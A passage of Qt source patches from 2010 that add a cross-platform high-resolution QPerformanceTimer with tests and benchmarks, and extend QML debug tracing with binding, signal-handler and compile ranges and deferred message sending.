tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri index 66b69f9..bf9e54a 100644 --- a/src/declarative/qml/qml.pri +++ b/src/declarative/qml/qml.pri @@ -55,7 +55,8 @@ SOURCES += \ $$PWD/qdeclarativedirparser.cpp \ $$PWD/qdeclarativeextensionplugin.cpp \ $$PWD/qdeclarativeimport.cpp \ - $$PWD/qdeclarativelist.cpp + $$PWD/qdeclarativelist.cpp \ + $$PWD/qperformancetimer.cpp HEADERS += \ $$PWD/qdeclarativeparser_p.h \ @@ -129,8 +130,12 @@ HEADERS += \ $$PWD/qdeclarativedirparser_p.h \ $$PWD/qdeclarativeextensioninterface.h \ $$PWD/qdeclarativeimport_p.h \ - $$PWD/qdeclarativeextensionplugin.h + $$PWD/qdeclarativeextensionplugin.h \ + $$PWD/qperformancetimer_p.h QT += sql include(parser/parser.pri) include(rewriter/rewriter.pri) + +# mirrors logic in corelib/kernel/kernel.pri +unix:!symbian: contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri) diff --git a/src/declarative/qml/qperformancetimer.cpp b/src/declarative/qml/qperformancetimer.cpp new file mode 100644 index 0000000..1d7ca80 --- /dev/null +++ b/src/declarative/qml/qperformancetimer.cpp @@ -0,0 +1,226 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qperformancetimer_p.h" + +#if defined(Q_OS_MAC) +#include +#include +#include +#elif defined(Q_OS_UNIX) +#include +#include +#include +#elif defined(Q_OS_SYMBIAN) +#include +#include +#include +#elif defined(Q_OS_WIN) +#include +#endif + +// mac/unix code heavily copied from QElapsedTimer + +QT_BEGIN_NAMESPACE + +////////////////////////////// Mac ////////////////////////////// +#if defined(Q_OS_MAC) + +static mach_timebase_info_data_t info = {0,0}; +static qint64 absoluteToNSecs(qint64 cpuTime) +{ + if (info.denom == 0) + mach_timebase_info(&info); + qint64 nsecs = cpuTime * info.numer / info.denom; + return nsecs; +} + +void QPerformanceTimer::start() +{ + t1 = mach_absolute_time(); +} + +qint64 QPerformanceTimer::elapsed() const +{ + uint64_t cpu_time = mach_absolute_time(); + return absoluteToNSecs(cpu_time - t1); +} + +////////////////////////////// Unix ////////////////////////////// +#elif defined(Q_OS_UNIX) + +#if defined(QT_NO_CLOCK_MONOTONIC) || defined(QT_BOOTSTRAPPED) +// turn off the monotonic clock +# ifdef _POSIX_MONOTONIC_CLOCK +# undef _POSIX_MONOTONIC_CLOCK +# endif +# define _POSIX_MONOTONIC_CLOCK -1 +#endif + +#if (_POSIX_MONOTONIC_CLOCK-0 != 0) +static const bool monotonicClockChecked = true; +static const bool monotonicClockAvailable = _POSIX_MONOTONIC_CLOCK > 0; +#else +static int monotonicClockChecked = false; +static int monotonicClockAvailable = false; +#endif + +#ifdef Q_CC_GNU +# define is_likely(x) __builtin_expect((x), 1) +#else +# define is_likely(x) (x) +#endif +#define load_acquire(x) ((volatile const int&)(x)) +#define store_release(x,v) ((volatile int&)(x) = (v)) + +static void unixCheckClockType() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 == 0) + if (is_likely(load_acquire(monotonicClockChecked))) + return; + +# if defined(_SC_MONOTONIC_CLOCK) + // detect if the system support monotonic timers + long x = sysconf(_SC_MONOTONIC_CLOCK); + store_release(monotonicClockAvailable, x >= 200112L); +# endif + + store_release(monotonicClockChecked, true); +#endif +} + +static inline void do_gettime(qint64 *sec, qint64 *frac) +{ +#if (_POSIX_MONOTONIC_CLOCK-0 >= 0) + unixCheckClockType(); + if (is_likely(monotonicClockAvailable)) { + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + *sec = ts.tv_sec; + *frac = ts.tv_nsec; + return; + } +#endif + *sec = 0; + *frac = 0; +} + +void QPerformanceTimer::start() +{ + do_gettime(&t1, &t2); +} + +qint64 QPerformanceTimer::elapsed() const +{ + qint64 sec, frac; + do_gettime(&sec, &frac); + sec = sec - t1; + frac = frac - t2; + + return sec * Q_INT64_C(1000000000) + frac; +} + +////////////////////////////// Symbian ////////////////////////////// +#elif defined(Q_OS_SYMBIAN) + +static qint64 getTimeFromTick(quint64 elapsed) +{ + static TInt freq; + if (!freq) + HAL::Get(HALData::EFastCounterFrequency, freq); + + // ### not sure on units + return elapsed / freq; +} + +void QPerformanceTimer::start() +{ + t1 = User::FastCounter(); +} + +qint64 QPerformanceTimer::elapsed() const +{ + return getTimeFromTick(User::FastCounter() - t1); +} + +////////////////////////////// Windows ////////////////////////////// +#elif defined(Q_OS_WIN) + +static qint64 getTimeFromTick(quint64 elapsed) +{ + static LARGE_INTEGER freq; + if (!freq.QuadPart) + QueryPerformanceFrequency(&freq); + return 1000000000 * elapsed / freq.QuadPart; +} + +void QPerformanceTimer::start() +{ + LARGE_INTEGER li; + QueryPerformanceCounter(&li); + t1 = li.QuadPart; +} + +qint64 QPerformanceTimer::elapsed() const +{ + LARGE_INTEGER li; + QueryPerformanceCounter(&li); + return getTimeFromTick(li.QuadPart - t1); +} + +////////////////////////////// Default ////////////////////////////// +#else + +// default implementation (no hi-perf timer) does nothing +void QPerformanceTimer::start() +{ +} + +qint64 QPerformanceTimer::elapsed() const +{ + return 0; +} + +#endif + +QT_END_NAMESPACE + + diff --git a/src/declarative/qml/qperformancetimer_p.h b/src/declarative/qml/qperformancetimer_p.h new file mode 100644 index 0000000..14310bf --- /dev/null +++ b/src/declarative/qml/qperformancetimer_p.h @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QPERFORMANCETIMER_P_H +#define QPERFORMANCETIMER_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists for the convenience +// of moc. This header file may change from version to version without notice, +// or even be removed. +// +// We mean it. +// + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class Q_AUTOTEST_EXPORT QPerformanceTimer +{ +public: + void start(); + qint64 elapsed() const; + +private: + qint64 t1; + qint64 t2; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QPERFORMANCETIMER_P_H diff --git a/tests/auto/declarative/qperformancetimer/qperformancetimer.pro b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro new file mode 100644 index 0000000..656bf68 --- /dev/null +++ b/tests/auto/declarative/qperformancetimer/qperformancetimer.pro @@ -0,0 +1,7 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative +SOURCES += tst_qperformancetimer.cpp +macx:CONFIG -= app_bundle + +CONFIG += parallel_test + diff --git a/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp new file mode 100644 index 0000000..2029c8a --- /dev/null +++ b/tests/auto/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include + +class tst_qperformancetimer : public QObject +{ + Q_OBJECT + +public: + tst_qperformancetimer() {} + +private slots: + void units(); +}; + +void tst_qperformancetimer::units() +{ + QPerformanceTimer timer; + timer.start(); + QTest::qWait(300); + qint64 elapsed = timer.elapsed(); + QVERIFY(elapsed > 300000000 && elapsed < 310000000); +} + +QTEST_MAIN(tst_qperformancetimer) + +#include "tst_qperformancetimer.moc" diff --git a/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro new file mode 100644 index 0000000..a39cd3d --- /dev/null +++ b/tests/benchmarks/declarative/qperformancetimer/qperformancetimer.pro @@ -0,0 +1,8 @@ +load(qttest_p4) +QT += declarative +TEMPLATE = app +TARGET = tst_qperformancetimer +macx:CONFIG -= app_bundle + +SOURCES += tst_qperformancetimer.cpp + diff --git a/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp new file mode 100644 index 0000000..04737e7 --- /dev/null +++ b/tests/benchmarks/declarative/qperformancetimer/tst_qperformancetimer.cpp @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include + +class tst_qperformancetimer : public QObject +{ + Q_OBJECT + +public: + tst_qperformancetimer() {} + +private slots: + void all(); + void startElapsed(); + void doubleElapsed(); +}; + +void tst_qperformancetimer::all() +{ + QBENCHMARK { + QPerformanceTimer t; + t.start(); + t.elapsed(); + } +} + +void tst_qperformancetimer::startElapsed() +{ + QPerformanceTimer t; + QBENCHMARK { + t.start(); + t.elapsed(); + } +} + +void tst_qperformancetimer::doubleElapsed() +{ + QPerformanceTimer t; + t.start(); + QBENCHMARK { + t.elapsed(); + t.elapsed(); + } +} + +QTEST_MAIN(tst_qperformancetimer) + +#include "tst_qperformancetimer.moc" -- cgit v0.12 From 458c237ea807330de8b15cb2b6e99f564bb7fd66 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 10:24:29 +1000 Subject: Use high performance timer for profiling. Add binding profile info. --- src/declarative/debugger/qdeclarativedebugtrace_p.h | 5 +++-- src/declarative/qml/qdeclarativebinding.cpp | 15 +++++++++++++++ src/declarative/qml/qdeclarativecompiledbindings.cpp | 3 +++ 3 files changed, 21 insertions(+), 2 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index 704c49a..d6fe0b0 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -43,7 +43,7 @@ #define QDECLARATIVEDEBUGTRACE_P_H #include -#include +#include QT_BEGIN_HEADER @@ -74,6 +74,7 @@ public: Painting, Compiling, Creating, + Binding, MaximumRangeType }; @@ -90,7 +91,7 @@ private: void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); - QElapsedTimer m_timer; + QPerformanceTimer m_timer; }; QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index cb6ad8c..2a1abd0 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -49,6 +49,7 @@ #include "private/qdeclarativedata_p.h" #include "private/qdeclarativestringconverters_p.h" #include "private/qdeclarativestate_p_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include #include @@ -114,6 +115,19 @@ QDeclarativeProperty QDeclarativeBinding::property() const return d->property; } +class QDeclarativeBindingProfiler { +public: + QDeclarativeBindingProfiler() + { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); + } + + ~QDeclarativeBindingProfiler() + { + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding); + } +}; + void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) { Q_D(QDeclarativeBinding); @@ -122,6 +136,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) return; if (!d->updating) { + QDeclarativeBindingProfiler prof; d->updating = true; bool wasDeleted = false; d->deleted = &wasDeleted; diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 5f0fd56..77fb48e 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -54,6 +54,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -316,7 +317,9 @@ int QDeclarativeCompiledBindingsPrivate::Binding::propertyIndex() void QDeclarativeCompiledBindingsPrivate::Binding::update(QDeclarativePropertyPrivate::WriteFlags flags) { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); parent->run(this, flags); + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding); } void QDeclarativeCompiledBindingsPrivate::Binding::destroy() -- cgit v0.12 From 1a8bf28261facf1e97cecf842fcbfff48b383984 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 12:53:41 +1000 Subject: Add support for a record-then-send debug process. --- .../debugger/qdeclarativedebugtrace.cpp | 55 ++++++++++++++++++---- .../debugger/qdeclarativedebugtrace_p.h | 7 +++ 2 files changed, 53 insertions(+), 9 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 03e2d56..5edc3b6 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -43,11 +43,13 @@ #include #include +#include Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance); QDeclarativeDebugTrace::QDeclarativeDebugTrace() -: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")) +: QDeclarativeDebugService(QLatin1String("CanvasFrameRate")), + m_enabled(false), m_deferredSend(true) { m_timer.start(); } @@ -78,45 +80,80 @@ void QDeclarativeDebugTrace::endRange(RangeType t) void QDeclarativeDebugTrace::addEventImpl(EventType event) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)Event << (int)event; - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::startRangeImpl(RangeType range) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)RangeStart << (int)range; - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)RangeData << (int)range << (QString)u.toString(); - sendMessage(data); + processMessage(data); } void QDeclarativeDebugTrace::endRangeImpl(RangeType range) { - if (status() != Enabled) + if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); ds << m_timer.elapsed() << (int)RangeEnd << (int)range; - sendMessage(data); + processMessage(data); } +/* + Either send the message directly, or queue up + a list of messages to send later (via sendMessages) +*/ +void QDeclarativeDebugTrace::processMessage(const QByteArray &message) +{ + if (m_deferredSend) + m_data.append(message); + else + sendMessage(message); +} + +/* + Send the messages queued up by processMessage +*/ +void QDeclarativeDebugTrace::sendMessages() +{ + if (m_deferredSend) { + //### this is a suboptimal way to send batched messages + for (int i = 0; i < m_data.count(); ++i) + sendMessage(m_data.at(i)); + m_data.clear(); + } +} + +void QDeclarativeDebugTrace::messageReceived(const QByteArray &message) +{ + QByteArray rwData = message; + QDataStream stream(&rwData, QIODevice::ReadOnly); + + stream >> m_enabled; + + if (!m_enabled) + sendMessages(); +} diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index d6fe0b0..c7c61bd 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -86,12 +86,19 @@ public: static void endRange(RangeType); QDeclarativeDebugTrace(); +protected: + virtual void messageReceived(const QByteArray &); private: void addEventImpl(EventType); void startRangeImpl(RangeType); void rangeDataImpl(RangeType, const QUrl &); void endRangeImpl(RangeType); + void processMessage(const QByteArray &); + void sendMessages(); QPerformanceTimer m_timer; + bool m_enabled; + bool m_deferredSend; + QList m_data; }; QT_END_NAMESPACE -- cgit v0.12 From 530b052bed6fd74699fead438035dc4684d83335 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 3 Nov 2010 15:12:16 +1000 Subject: Add additional tracing. Tracing for compile time, signal handlers, and deferred creation. --- src/declarative/debugger/qdeclarativedebugtrace_p.h | 3 ++- src/declarative/qml/qdeclarativeboundsignal.cpp | 3 +++ src/declarative/qml/qdeclarativeengine.cpp | 4 +++- src/declarative/qml/qdeclarativetypeloader.cpp | 3 +++ 4 files changed, 11 insertions(+), 2 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index c7c61bd..d0e776e 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -74,7 +74,8 @@ public: Painting, Compiling, Creating, - Binding, + Binding, //running a binding + HandlingSignal, //running a signal handler MaximumRangeType }; diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index 6af3e05..1bb92dd 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -49,6 +49,7 @@ #include "qdeclarative.h" #include "qdeclarativecontext.h" #include "private/qdeclarativeglobal_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include @@ -165,6 +166,7 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o) int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) { if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) { + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal); m_isEvaluating = true; if (!m_paramsValid) { if (!m_signal.parameterTypes().isEmpty()) @@ -180,6 +182,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) } if (m_params) m_params->clearValues(); m_isEvaluating = false; + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::HandlingSignal); return -1; } else { return QObject::qt_metacall(c, id, a); diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 808ba68..dac40b0 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -69,6 +69,7 @@ #include "private/qdeclarativetypenamecache_p.h" #include "private/qdeclarativeinclude_p.h" #include "private/qdeclarativenotifier_p.h" +#include "private/qdeclarativedebugtrace_p.h" #include #include @@ -927,7 +928,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) QDeclarativeData *data = QDeclarativeData::get(object); if (data && data->deferredComponent) { - + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating); QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine); QDeclarativeComponentPrivate::ConstructionState state; @@ -937,6 +938,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object) data->deferredComponent = 0; QDeclarativeComponentPrivate::complete(ep, &state); + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating); } } diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp index c015519..d9b4c54 100644 --- a/src/declarative/qml/qdeclarativetypeloader.cpp +++ b/src/declarative/qml/qdeclarativetypeloader.cpp @@ -45,6 +45,7 @@ #include #include #include +#include #include #include @@ -895,6 +896,7 @@ void QDeclarativeTypeData::downloadProgressChanged(qreal p) void QDeclarativeTypeData::compile() { Q_ASSERT(m_compiledData == 0); + QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Compiling); m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine()); m_compiledData->url = m_imports.baseUrl(); @@ -906,6 +908,7 @@ void QDeclarativeTypeData::compile() m_compiledData->release(); m_compiledData = 0; } + QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Compiling); } void QDeclarativeTypeData::resolveTypes() -- cgit v0.12 From 3c05109ce609574f1525c465f68817d3af39397e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 4 Nov 2010 15:34:17 +1000 Subject: Support directly setting string range data. --- src/declarative/debugger/qdeclarativedebugtrace.cpp | 8 ++++---- src/declarative/debugger/qdeclarativedebugtrace_p.h | 4 ++-- src/declarative/qml/qdeclarativebinding.cpp | 5 +++-- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index 5edc3b6..cd4306b 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -66,10 +66,10 @@ void QDeclarativeDebugTrace::startRange(RangeType t) traceInstance()->startRangeImpl(t); } -void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &url) +void QDeclarativeDebugTrace::rangeData(RangeType t, const QString &data) { if (QDeclarativeDebugService::isDebuggingEnabled()) - traceInstance()->rangeDataImpl(t, url); + traceInstance()->rangeDataImpl(t, data); } void QDeclarativeDebugTrace::endRange(RangeType t) @@ -100,14 +100,14 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range) processMessage(data); } -void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &u) +void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData) { if (status() != Enabled || !m_enabled) return; QByteArray data; QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeData << (int)range << (QString)u.toString(); + ds << m_timer.elapsed() << (int)RangeData << (int)range << rData; processMessage(data); } diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h index d0e776e..b935fbe 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h @@ -83,7 +83,7 @@ public: static void addEvent(EventType); static void startRange(RangeType); - static void rangeData(RangeType, const QUrl &); + static void rangeData(RangeType, const QString &); static void endRange(RangeType); QDeclarativeDebugTrace(); @@ -92,7 +92,7 @@ protected: private: void addEventImpl(EventType); void startRangeImpl(RangeType); - void rangeDataImpl(RangeType, const QUrl &); + void rangeDataImpl(RangeType, const QString &); void endRangeImpl(RangeType); void processMessage(const QByteArray &); void sendMessages(); diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 2a1abd0..055d009 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -117,9 +117,10 @@ QDeclarativeProperty QDeclarativeBinding::property() const class QDeclarativeBindingProfiler { public: - QDeclarativeBindingProfiler() + QDeclarativeBindingProfiler(QDeclarativeBinding *bind) { QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding); + //QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression()); } ~QDeclarativeBindingProfiler() @@ -136,7 +137,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) return; if (!d->updating) { - QDeclarativeBindingProfiler prof; + QDeclarativeBindingProfiler prof(this); d->updating = true; bool wasDeleted = false; d->deleted = &wasDeleted; -- cgit v0.12 From 7aebf28291288ea6e8c1d9d28f4ed752b00dca97 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 5 Nov 2010 13:27:30 +1000 Subject: Make deferred tracing less expensive (real-time cost is the same) --- .../debugger/qdeclarativedebugtrace.cpp | 44 ++++++++++++---------- .../debugger/qdeclarativedebugtrace_p.h | 32 +++++++++++----- src/declarative/qml/qdeclarativebinding.cpp | 2 +- .../qperformancetimer/tst_qperformancetimer.cpp | 11 ++++++ 4 files changed, 59 insertions(+), 30 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp index cd4306b..7f970bf 100644 --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp @@ -47,6 +47,20 @@ Q_GLOBAL_STATIC(QDeclarativeDebugTrace, traceInstance); +// convert to a QByteArray that can be sent to the debug client +// use of QDataStream can skew results if m_deferredSend == false +// (see tst_qperformancetimer::trace() benchmark) +QByteArray QDeclarativeDebugData::toByteArray() const +{ + QByteArray data; + //### using QDataStream is relatively expensive + QDataStream ds(&data, QIODevice::WriteOnly); + ds << time << messageType << detailType; + if (messageType == (int)QDeclarativeDebugTrace::RangeData) + ds << detailData; + return data; +} + QDeclarativeDebugTrace::QDeclarativeDebugTrace() : QDeclarativeDebugService(QLatin1String("CanvasFrameRate")), m_enabled(false), m_deferredSend(true) @@ -83,10 +97,8 @@ void QDeclarativeDebugTrace::addEventImpl(EventType event) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)Event << (int)event; - processMessage(data); + QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString()}; + processMessage(ed); } void QDeclarativeDebugTrace::startRangeImpl(RangeType range) @@ -94,10 +106,8 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range) if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeStart << (int)range; - processMessage(data); + QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString()}; + processMessage(rd); } void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData) @@ -105,10 +115,8 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData if (status() != Enabled || !m_enabled) return; - QByteArray data; - QDataStream ds(&data, QIODevice::WriteOnly); - ds << m_timer.elapsed() << (int)RangeData << (int)range << rData; - processMessage(data); + 